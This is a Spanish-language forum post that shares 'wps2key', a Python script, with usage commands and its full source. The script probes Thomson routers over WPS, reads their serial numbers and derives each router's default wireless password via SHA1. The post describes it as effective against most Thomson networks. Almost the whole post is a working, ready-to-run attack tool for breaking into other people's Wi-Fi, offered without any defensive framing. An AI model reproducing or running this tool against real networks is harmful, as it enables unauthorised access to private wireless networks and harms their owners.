wps2key v1.0

Publicado por D3M0N, 28 de Abril de 2013, 03:04:13 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

D3M0N

Capt_Noobius desde You are not allowed to view links. Register or Login tropezamos con este pequeño script.

Este script obtiene la contraseña inalámbrica por defecto de una red Thomson usando [wiki]WPS[/wiki] y [wiki]SHA1[/wiki]. Es casi instantánea si la red es vulnerable.

NOTA: No todas las Thomson son vulnerable, pero he encontrado este script para ser extremadamente eficaz contra 9 de cada 10 redes de Thomson.

Descarga:
You are not allowed to view links. Register or Login (10 KB)
You are not allowed to view links. Register or Login

Guarde el script como You are not allowed to view links. Register or Login

Luego para ejecutarlo utilizaremos:

chmod +x wps2key.py 
./wps2key.py -i mon0


Se puede adicionar -v para modo detallado:

./wps2key.py -i mon0 -v


SOURCE CODE:
#!/usr/bin/env python

from sys import argv, stderr, exit
from getopt import GetoptError, getopt as GetOpt
import hashlib
import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

try:
	from scapy.all import *
except Exception, e:
	print 'Failed to import scapy:',e
	exit(1)

def ascii2hex(char):
       	return hex(ord(char))[2:]

def serial2key(serial):
	#print 'Key for Serial Number: CP%s' % serial
	sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
	hash = hashlib.sha1(sn.upper()).hexdigest()
	return hash[0:10].upper()


class WPSQuery:
	bssid = None
	essid = None
	pfile = None
	rprobe = False
	verbose = False
	probedNets = {}
	WPS_ID = "\x00\x50\xF2\x04"
	wps_attributes = {
			0x104A : {'name' : 'Version                          ', 'type' : 'hex'},
			0x1044 : {'name' : 'WPS State                        ', 'type' : 'hex'},
			0x1057 : {'name' : 'AP Setup Locked                  ', 'type' : 'hex'},
			0x1041 : {'name' : 'Selected Registrar               ', 'type' : 'hex'},
			0x1012 : {'name' : 'Device Password ID               ', 'type' : 'hex'},
			0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
			0x103B : {'name' : 'Response Type                    ', 'type' : 'hex'},
			0x1047 : {'name' : 'UUID-E                           ', 'type' : 'hex'},
			0x1021 : {'name' : 'Manufacturer                     ', 'type' : 'str'},
			0x1023 : {'name' : 'Model Name                       ', 'type' : 'str'},
			0x1024 : {'name' : 'Model Number                     ', 'type' : 'str'},
			0x1042 : {'name' : 'Serial Number                    ', 'type' : 'str'},
			0x1054 : {'name' : 'Primary Device Type              ', 'type' : 'hex'},
			0x1011 : {'name' : 'Device Name                      ', 'type' : 'str'},
			0x1008 : {'name' : 'Config Methods                   ', 'type' : 'hex'},
			0x103C : {'name' : 'RF Bands                         ', 'type' : 'hex'},
			0x1045 : {'name' : 'SSID                             ', 'type' : 'str'},
			0x102D : {'name' : 'OS Version                       ', 'type' : 'str'}
	}


	def __init__(self,iface,pfile):
		if iface:
			conf.iface = iface
		if pfile:
			self.pfile = pfile

	def run(self):
		if self.verbose:
			if self.pfile:
				stderr.write("Reading packets from %s\n\n" % self.pfile)
			else:
				stderr.write("Listening on interface %s\n\n" % conf.iface)

		try:
			sniff(prn=self.pcap,offline=self.pfile)
		except Exception, e:
			print 'Caught exception while running sniff():',e

	#Handles captured packets
	def pcap(self,packet):
		if packet.haslayer(Dot11Beacon):
			self.beaconh(packet)
		elif packet.haslayer(Dot11ProbeResp):
			self.responseh(packet)

	#Beacon packet handler
	def beaconh(self,pkt):
		elt = None
		eltcount = 1
		doprobe = False
		essid = None
		bssid = pkt[Dot11].addr3.upper()

		#If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
		if self.bssid and self.essid:
			self.probereq(self.essid,self.bssid)
			return

		#If we've already probed it, processing it's beacon frames won't do us any more good
		if self.probedNets.has_key(bssid):
			return

		#Is this the BSSID we're looking for?
		if self.bssid and self.bssid != bssid:
			return

		#Loop through all information elements	
		while elt != pkt.lastlayer(Dot11Elt):
                	elt = pkt.getlayer(Dot11Elt, nb=eltcount)
			eltcount += 1

                        #Get the SSID
                        if elt.ID == 0:
                        	essid = elt.info
                        	#Skip if this is not the SSID we're looking for
                        	if self.essid and essid != self.essid:
                        		return

			#Check for a WPS information element
			else:
				doprobe = self.iswpselt(elt)
				if doprobe:
					if self.verbose:
						stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
					break

		#Should we actively probe this AP?
		if doprobe == True or self.rprobe == True:
			self.probereq(essid,bssid)
		return

	#Probe response packet handler
	def responseh(self,pkt):
		wpsdata = []
		eltcount = 1
		elt = None
		bssid = None
		essid = None
		bssid = pkt[Dot11].addr3.upper()

                #Is this the BSSID we're looking for?
                if self.bssid and self.bssid != bssid:
                        return

                #Loop through all information elements 
                while elt != pkt.lastlayer(Dot11Elt):
                        elt = pkt.getlayer(Dot11Elt, nb=eltcount)
			eltcount += 1

                        #Get the SSID
                        if elt.ID == 0:
                                essid = elt.info
				#Don't probe a network multiple times
				if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
					return
                                #Skip if this is not the SSID we're looking for
                                if self.essid and essid != self.essid:
                                        return
				if self.verbose:
					stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
			elif self.iswpselt(elt):
				wpsdata = self.parsewpselt(elt)

		#Display WPS information
		if wpsdata:
			self.printwpsinfo(wpsdata,bssid,essid)
		elif self.verbose:
			stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))

		#Mark this BSSID as complete
		self.probedNets[bssid] = essid

		return
		
	#Display collected WPS data
	def printwpsinfo(self,wpsdata,bssid,essid):
		textlen = 33
		filler = ' '
		is_valid = 0

		if wpsdata:
			print ''
			print 'BSSID:',bssid
                        print 'ESSID:',essid
                        print '----------------------------------------------------------'

                        for (header,data,datatype) in wpsdata:
				if datatype != 'str':
					tdata = data
					data = '0x'
					for i in tdata:
						byte = str(hex(ord(i)))[2:]
						if len(byte) == 1:
							byte = '0' + byte
						data += byte
				header = header + (filler * (textlen-len(header)))
                                print '%s : %s' % (header,data)
				if data == 'THOMSON':
					is_valid = 1
				elif data == '784n':
					is_valid = 0
				if header == 'Serial Number                    ':
				   	header = 'DEFAULT KEY                      '
					if is_valid == 1:
						data = serial2key(data)
					else:
						data = 'UNSUPPORTED'
					
                                	print '%s : %s' % (header,data)
                        print ''

	
	#Send a probe request to the specified AP
	def probereq(self,essid,bssid):
		if not essid or not bssid:
			return
		if self.probedNets.has_key(bssid):
			return
		if self.pfile:
			return

		if self.verbose:
			stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))

		try:
			#Build a probe request packet with a SSID and a WPS information element
                        dst = mac2str(bssid)
                        src = mac2str("ff:ff:ff:ff:ff:ff")
                        packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
                        packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)
			
			#Send it!
			send(packet,verbose=0)
			self.probedNets[bssid] = None
		except Exception, e:
			print 'Failure sending probe request to',essid,':',e


	#Check if an element is a WPS element
	def iswpselt(self,elt):
		if elt.ID == 221:
                	if elt.info.startswith(self.WPS_ID):
                        	return True
		return False

	
	#Parse a WPS element
	def parsewpselt(self,elt):
		data = []
		tagname = None
		tagdata = None
		datatype = None
		tag = 0
		tlen = 0
		i = len(self.WPS_ID)

		try:
			if self.iswpselt(elt):
				while i < elt.len:
					#Get tag number and length
					tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
					i += 2
					tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
					i += 2

					#Get the tag data
					tagdata = elt.info[i:i+tlen]
					i += tlen
			
					#Lookup the tag name and type
					try:
						tagname = self.wps_attributes[tag]['name']
						datatype = self.wps_attributes[tag]['type']
					except Exception, e:
						tagname = 'Unknown'
						datatype = 'hex'

					#Append to array
					data.append((tagname,tagdata,datatype))
		except Exception,e:
			print 'Exception processing WPS element:',e 

		return data

def about():
	print '''
WPScan actively scans access points that support WiFi Protected Setup by sending
802.11 probe requests to them. It then examines the WPS information element in the
resulting 802.11 probe response and displays the information contained in that IE.

This is useful for fingerprinting WPS-capable access points, as many of them will
include their vendor, model number, and firmware versions in the WPS IE of the 
probe response.
'''
	exit(0)
	
def usage():
	print '''
Usage: %s [OPTIONS]

	-i <iface>	Specify the interface to listen on
	-p <file>	Specify pcap file to read from
	-b <bssid>	Specify a bssid filter
	-e <essid>	Specify an essid filter
	-n		Probe all networks
	-v		Enable verbose mode
	-a		Show about information
	-h		Show help
''' % argv[0]
	exit(1)


def main():
	bssid = None
	essid = None
	iface = None
	pfile = None
	probeall = False
	verbose = False

	try:
		opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
	except GetoptError, e:
		print 'Usage Error:',e
		usage()

	for opt,optarg in opts:
		if opt == '-b':
			bssid = optarg.upper()
		elif opt == '-e':
			essid = optarg
		elif opt == '-i':
			iface = optarg
		elif opt == '-p':
			pfile = optarg
		elif opt == '-v':
			verbose = True
		elif opt == '-n':
			probeall = True
		elif opt == '-a':
			about()
		else:
			usage()

		
	wps = WPSQuery(iface,pfile)
	wps.bssid = bssid
	wps.essid = essid
	wps.rprobe = probeall
	wps.verbose = verbose
	wps.run()


if __name__ == "__main__":
	main()